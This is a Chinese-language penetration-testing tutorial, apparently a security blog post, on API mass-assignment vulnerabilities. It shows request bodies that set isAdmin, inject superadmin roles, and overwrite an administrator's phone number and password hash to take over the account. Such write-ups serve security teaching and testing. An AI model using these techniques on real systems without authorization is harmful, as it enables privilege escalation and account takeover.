免责声明

1、本文所分享内容仅供学习交流使用，您在使用本文所述内容进行测试时，应确保该行为符合当地的法律法规，并且已经取得了足够的授权。一切未授权测试行为，均为攻击行为！

2、如您在使本文所述内容进行测试的过程中存在任何非法行为，您需自行承担相应后果，本人将不承担任何法律及连带责任。

3、您在阅读本文前，请务必审慎阅读、充分理解免责声明中各条款内容，并接受免责声明中的所有条款，否则，请不要阅读、留存、传播此文档。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的，即视为您已阅读并同意本协议的约束。

引言

在当前环境下，前后端分离已经非常普遍，像Vue.js这类成熟的前端框架已经可以实现非常多的功能。通过Vue.js来构建单页面应用，后端只负责提供API 接口，开发之前，前端和后端约定好API的使用，就可以通过API来实现前后端的解耦。API（应用程序编程接口）使软件系统和应用程序能够通信和共享数据。其实所有动态网站都是由API组成的，SQL注入这类经典漏洞其实也属于API测试范畴。前后端在约定API时很可能因为贪图方便或软件框架原因，直接把所有参数都绑定到内部对象上，这意味着只要你可以发现隐藏参数，你就可以发现API批量分配漏洞。

0x00 批量分配漏洞

批量分配（也称为自动绑定）可能会无意中创建隐藏参数。当软件框架自动将请求参数绑定到内部对象上的字段时，就会发生这种情况。因此，批量分配可能会导致应用程序支持开发人员从未打算处理的参数。------来自PortSwigger

0x01查找和识别隐藏参数

怎么去检索和发现隐藏的参数，网上已经有很多文章，也有很多工具比如GAP、Param miner、x8，这里不不做过多的叙述，只讲一个我认为简单粗暴的方式：查看时返回过量数据，修改时就可以尝试把过量数据加入到请求中进行测试是否存在批量分配漏洞，你自己添加进去的参数如果可以修改成功，就算隐藏参数。比如GET /api/users/123请求返回以下 JSON：

{"id": 123,"name": "John Doe","email": "[email protected]","isAdmin": "false"}

而POST /api/users/update使用户能够更新其用户名和电子邮件，其请求的 JSON数据如下：

{  "id": 123,  "username": "wiener",  "email": "[email protected]",}

测试POST /api/users/update是否可以修改isAdmin参数，把isAdmin参数值设置为true，然后发送请求：

{"username": "wiener","email": "[email protected]","isAdmin": true,}

如果POST /api/users/update这个接口没有对请求中isAdmin的值进行充分验证和清理的情况下绑定到用户对象，则可能会错误地向用户wiener授予管理权限。只需要验证用户wiener是否获得了管理员权限(比如访问管理面板)就可确认POST /api/users/update接口是否存在批量分配漏洞。

0x02测试和利用批量分配漏洞

比如说一个GET /userList接口返回如下JSON数据

{    "code": 200,    "success": true,    "data": [{        "createUser": 1,        "createTime": "xxx",        "updateUser": "xxx",        "updateTime": "xxx",        "status": 1,        "isDeleted": 0,        "tenantId": "xxx",        "id": "xxx",        "code": "",        "account": "xxx",        "password": "xxxx",        "name": "",        "realName": "xxx",        "avatar": "",        "email": "",        "phone": "xxxx",        "birthday": "",        "sex": 1,        "roleId": "xxx",        "initialized": 1,        "type": 1    },  {        ......    }],    "msg": "操作成功"}

观察这些数据，很明显前端并不需要展示这么多数据，但API接口已经把用户的所有数据都返回了。那么在一个修改用户接口的位置，就可以尝试把开发人员从未打算处理的参数加上，然后一块提交，看服务器如何处理这些数据。比如一个POST /user/update接口，这个API接口的本意是通过修改status字段来停用/启用用户（status为0来停用用户，status字段为1来启用用户）。原始数据包如下：

{    "account": "xxx",    "realName": "暗魂攻防实验室",    "phone": "1xxxxxxxx",    "roleId": "1xxxxxxxxxxx",    "status": 0,    "id": "1xxxxxxxx"}

首先可以尝试把account改为超级管理的，测试是否可以垂直越权修改超级管理员信息，这里不多说。我们测试是否存在API批量分配漏洞，把数据包改为如下JSON(这里直接从GET /userList接口获取信息，然后复制过来后，修改相关数据)：

{    "status": 1,    "isDeleted": 0,    "tenantId": "xxx",    "id": "xxxxx",    "code": "",    "account": "xxxxx",    "name": "fakeadmin",    "realName": "暗魂攻防实验室",    "avatar": "",    "email": "[email protected]",    "roleId": "1,1xxxxxxxxxx",    "initialized": 1,    "type": 2,    "roles": [{        "roleName": "超级管理员",        "id": "1",        "type": "1"    }, {        "roleName": "xxxx",        "id": "xxxxxxxx",        "type": "2"    }]}

响应包显示"操作成功"，退出账号重新登录，发现已经是超级管理员了，成功通过API批量分配漏洞把自己的角色改为了超级管理员。

更进一步利用，结合信息泄露接管所有用户的账号：GET /userList接口泄露了账密信息、手机信息，可以结合POST /user/update接口的API批量分配漏洞，直接修改超级管理员的手机号和密码为自己的手机号和密码（系统需要使用密码和手机验证码来进行登录验证），进而接管超级管理的账号。

{    "account": "xxxxxxxxxxxxxx",    "realName": "暗魂攻防实验室",    "phone": "1xxxxxxxxxx",    "roleId": "1,1xxxxxxxxxxxxxxxxx",    "status": x,    "isDeleted": x,    "tenantId": "xxxxxxxxxx",    "id": "xxxxxxxxxxxxxx",    "password": "$2a$10$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}

响应包显示"操作成功"，退出账号，使用超级管理员administrator账号进行登录，输入自己的密码，用自己的手机接收验证码，可以成功以超级管理员身份登录，接管超级管理员账号成功（同理也可以接管其他账号），而且此时超级管理员administrator账号的密码和手机号都已经改为你的，超管自己都无法通过手机找回密码。泄露手机号和hash加密了的密码这个漏洞很常见，这里结合API批量分配漏洞，成功接管了超级管理员的账号。至此，你成功发现了三个高危漏洞：

①账密信息泄露；

②越权修改超级管理员信息；

③越权提升为超级管理员；

④越权接管所有账号。

门外传来了敲门声，你透过窗户看去，一个戴着帽子的人，拿着一个银晃晃的镯子在示意你开门！